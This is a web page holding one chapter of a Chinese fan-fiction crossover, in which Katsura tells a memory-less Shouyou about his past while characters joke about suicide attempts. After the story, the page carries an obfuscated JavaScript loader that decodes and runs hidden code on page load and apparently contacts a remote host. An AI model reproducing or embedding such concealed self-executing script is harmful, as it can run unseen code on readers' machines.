返回

[综]松阳老师总在自杀

首页
关灯
护眼
字体:
62.Tuesday的“e”很容易拼漏
(手机请访问 m.duxs8.com); “把老师从伊丽莎白皮下拯救出来计划”最终以失败告终。松阳被自称源外的老爷子一击电磁炮差点轰回了龙脉里,顶着黑黢黢的伊丽莎白的外皮,他默默地坐进了路边的纸箱里。

“喂喂人家明显被你搞得很郁闷喔?都坐进‘求领养’箱子里找新主人了喔?”银时无奈道,“这是什么杀掉自己宠物的新作战吗?”

桂蹲在松阳跟前,默默地注视了他一会儿。

“对不起老师,是我太着急了。”他闭上眼叹了一口气,“我们慢慢想办法,一定能让老师恢复的。”

“话说回来,你凭什么确定他就是老师啊?”

“一个人可能会因为性格改变或握笔方式,存在多种不同的笔迹,但是仔细研究的话,依然能发现共通的地方。老师的笔迹完全没有变,下笔收笔的方式跟以前一模一样。”

桂掏出绿色封皮的课本,跟临时工合同放在一起给银时看。银时看了半天,抽着嘴角说:“对不起,可能是有点像吧,但是阿银对笔迹什么的真的不在行……”

“谁让你们两个以前总是不交作业。我帮老师批改作业和抄写课本的时候,曾经刻意临摹过他的字,多年以后第一眼没有认出来,但是放在一起比较的话,就能确凿地辨认出来了。”

松阳在生闷气,坐在纸箱里不肯挪窝。那两人也无所谓似的,找了根绳子,一人一边拖着纸箱走。

“随你,你说是老师就老师吧,说他是坂本大佬也可以。反正最近万事屋闲到长毛,阿银就当免费看出好戏。”

“其实心里超害怕,对吧?”

银时突兀地停住了脚步,结果一直平稳前行的纸箱被拉歪了一边,松阳忙腾出手扶住了纸箱边缘。

桂像是没注意他停下了,自顾自地把话说完:“反正你爱信不信。等我把老师带回来,你最好给我准备好十年份的荞麦面免费券。”

昨天跟真选组对峙的那几个攘夷志士,完好无损地越狱出来了,跟着桂一起找了一个新的根据地。几个肌肉隆起的大老爷们和一只白色企鹅一起挤在狭小的房间里,茫然地听着桂讲故事。

“这个位置就是长门萩,城东的方向有个松本村。”桂展开一张地图,手指往长洲方向一点,“老师就是在这个村庄里,建立了后人皆知的松下电器——”

“……那个,不是松下村塾么?”一名志士弱弱问。

“——松下村塾。”桂神情自若地改口——让桂先生来回忆没关系吗为什么觉得记忆变得更加混乱了——“一开始老师是带着银时旅行到松本村的,渐渐有穷人家的孩子来蹭课,松下村塾才渐成规模。”

银时的话,就是那个银色天然卷的男人吧——松阳往小房间门口看了一眼,男人果然背靠着门坐在那,哧溜哧溜地舔甜筒。

如果跟以前的自己认识最久的人是银时,由他来负责讲述回忆不是更合适吗?奇怪的是,银发男人的语气神情没有任何一处能体现这点。他对于“吉田松阳”这个名字相关事情的淡漠态度,简直像是跟这个人有什么过节似的。

“第一年村塾还没完全修好,教室有半边还是泥土地。于是有的时候老师会在庭院的树下,田地的旁边,别人家屋顶上给大家讲课。”

桂见松阳依然摸不着头脑的样子,又说:

“对了,先从学生开始介绍会不会好些?老师说银时是自己打小钢珠输钱后拐回来的,这个还有印象吗?”

门口的银发男人动了动,似乎想回头反驳什么似的,最后还是放弃了,烦躁地挠着头毛靠回了远处。

[真的没有印象]

“银时来到村塾半年后,”桂依然很有耐心地讲述着,“高杉晋助过来踢馆,然后我……”

高杉晋助。

脑内的深处,突然被这个名字刺激到了神经。

——这是我必须记住的名字之一。

松阳似乎突然反应过来似的,拿过一张纸刷刷地写:[你是桂小太郎?]

桂似乎懵了一下,刚点了头,又见他在纸上写了一个名字,[坂田银时?]小短手指着门口的男人。

这两个人从头到尾就只被称作“银时”和“桂先生”,他一开始甚至没把他们跟那些莫名熟悉的名字联系在一起。

[我认识你们喔]

写出这句话的松阳超级激动。桂也变得激动起来,拿了那张纸给银时看,说:“老师想起来了!他还记得我们的名字!”

银时依然是那副懒洋洋的样子,皱着眉“啊?”了一声,说:“伊丽莎白本来也认识我们啊。喂,别到最后是你家的伊丽莎白失忆了喔,然后性格大变,又写敬语啦又练了一手好字什么的。”

不由分说地给桂泼了盆冷水,银发男人把手伸进衣服里挠了挠,慢悠悠地爬起来。

“肚子饿了,不奉陪了。”

看起来超像废柴大叔的家伙揣着他的木刀,溜溜达达地就走出了攘夷志士们的屋子,不知道跑哪里去了。

桂跟他讲了很多很多属于“吉田松阳”这个人的回忆,讲了两天两夜都没有讲到头。松阳像个瘪掉的气球一样把腿缩进白布下坐着听,越听越觉得……羡慕?

——光是能够深切地在这个世间留下印记这点,就是现在的自己无论如何也做不到的。

“所以我都说了,你自己就是松阳老师啦!”桂一次次严肃地强调,“拜托至少要相信这点啊!”

本来说是星期二的临时工,结果在桂身边留到了星期五。尽管没法看见自己白布下的身体,但是能明显感觉到身体的确在一点点消融,落进存在于某处的巨大光河中,然后源源不断地输送向另一个不知名的个体。

——以这样的状态,的确没办法在这个世界长时间停留。

获得了这个认知,却暂时忘记了没法久留的原因和解决方法。松阳怕桂担心——刚告诉他这件事时,这孩子好像又要哭了——特意事先跟他说明,如果有一天他突然跟伊丽莎白换班了,他一定还会在星期二的时候回来的。

“真的会回来吗?”

[嗯,会的]

他们说话的时候,银时其实也在他们身边不远处。说来奇怪,虽然那家伙一副“懒得管你们”的表情,但总是会以各种各样奇怪的理由出现在他们附近,光是“你们再跟踪阿银我就报警了哦”这句话,松阳已经听了不下百十遍了。

松阳也跟桂讲了些太宰先生的事。他用的总结词是“跟我一起乘坐人生最后一趟列车的好朋友”,桂还在高兴说“老师交到了很有趣的朋友啊,什么时候也让我上车坐坐”,旁边的攘夷志士已经忍不住吐槽出声:

“……等等桂先生他们是在花式自杀吧!”

[只是在浴室里烤鸡翅的社交活动罢了]

“……那就是烧炭自杀吧!”

[下雨的时候,突然就想在河水里泡着]

“……就是跳河了吧你们!”

桂依然满脸状况外,等反应过来,抓着松阳圆滚滚的身子使劲摇:“老师你为什么要想不开啊啊啊啊啊!人生有什么过不去的坎不能跟我说啊啊啊——”

“你啊,”银时坐在他们身后的窗棂上,死鱼眼没精打采地望着松阳,“不是那个吧?那个什么……体验濒死的快感?”

松阳歪头想了一会儿,写道:[某种意义上来说,也算是呢]

“真是的,一个两个都尽整些搞不懂的怪癖。”银时坐在那嘀嘀咕咕。

桂大概真的以为这是一种什么病,着急要拉他去找心理医生,他忙哄着桂:

[不需要担心喔。如果遇到想要珍视的人,自然而然就会治好啦]

他写这句话的时候,银时就坐在一边看着。似乎在那一瞬间,被极其温柔的记忆袭上心头,银发男人忍不住牵起嘴角,又慢慢敛了笑意,暗红眼眸里的神情却比哭更狼狈。

“这两天万事屋有工作”——只留下这么一句话,直到松阳完全消失的前一刻,日常像个跟踪狂似的银时再没出现过。

上一章 目录 下一章

(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();